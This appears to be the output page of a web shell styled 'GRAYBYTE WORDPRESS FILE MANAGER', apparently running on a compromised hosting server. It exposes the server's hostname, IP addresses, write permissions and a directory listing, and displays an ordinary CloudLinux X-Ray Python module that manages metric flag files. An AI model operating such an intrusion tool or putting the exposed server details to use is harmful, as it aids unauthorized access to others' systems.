$99 GRAYBYTE WORDPRESS FILE MANAGER $43

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/opt/cloudlinux/venv/lib/python3.11/site-packages/xray/internal/

HOME
Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/xray/internal//advanced_metrics.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
This module contains class implementing part of X-Ray advanced metrics
related to User Agent management (enable/disable/status)
"""
import os
import datetime

ADVANCED_METRICS_FLAG_ENABLED = '/opt/alt/php-xray/php/advanced_metrics.enabled'
ADVANCED_METRICS_FLAG_DISABLED = '/opt/alt/php-xray/php/advanced_metrics.disabled'


class AdvancedMetrics:
    """Main advanced metrics local utility class"""

    def enable(self):
        self._remove_flag(ADVANCED_METRICS_FLAG_DISABLED)
        self._create_flag(ADVANCED_METRICS_FLAG_ENABLED)

    def disable(self):
        self._remove_flag(ADVANCED_METRICS_FLAG_ENABLED)
        self._create_flag(ADVANCED_METRICS_FLAG_DISABLED)

    def status(self):
        if os.path.exists(ADVANCED_METRICS_FLAG_ENABLED):
            return 'enabled'
        elif os.path.exists(ADVANCED_METRICS_FLAG_DISABLED):
            return 'disabled'
        else:
            return 'none'

    def _create_flag(self, url) -> None:
        current_time = datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S')
        with open(url, 'w') as file:
            os.chmod(url, 0o644)
            file.write(current_time)

    def _remove_flag(self, url):
        if os.path.exists(url):
            os.remove(url)

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
16 Dec 2025 9.31 PM
root / root
0755
__pycache__
--
17 Dec 2025 2.54 AM
root / root
0755
__init__.py
0.537 KB
20 Oct 2025 7.04 PM
root / root
0644
advanced_metrics.py
1.415 KB
20 Oct 2025 7.04 PM
root / root
0644
clwpos_safe_imports.py
2.213 KB
20 Oct 2025 7.04 PM
root / root
0644
constants.py
2.14 KB
20 Oct 2025 7.04 PM
root / root
0644
exceptions.py
3.693 KB
20 Oct 2025 7.04 PM
root / root
0644
fpm_utils.py
2.247 KB
20 Oct 2025 7.04 PM
root / root
0644
local_counters.py
3.369 KB
20 Oct 2025 7.04 PM
root / root
0644
nginx_utils.py
7.106 KB
20 Oct 2025 7.04 PM
root / root
0644
phpinfo_utils.py
5.998 KB
20 Oct 2025 7.04 PM
root / root
0644
types.py
23.512 KB
20 Oct 2025 7.04 PM
root / root
0644
user_limits.py
4.514 KB
20 Oct 2025 7.04 PM
root / root
0644
user_manager.py
5.854 KB
20 Oct 2025 7.04 PM
root / root
0644
user_plugin_utils.py
8.846 KB
20 Oct 2025 7.04 PM
root / root
0644
utils.py
27.327 KB
20 Oct 2025 7.04 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF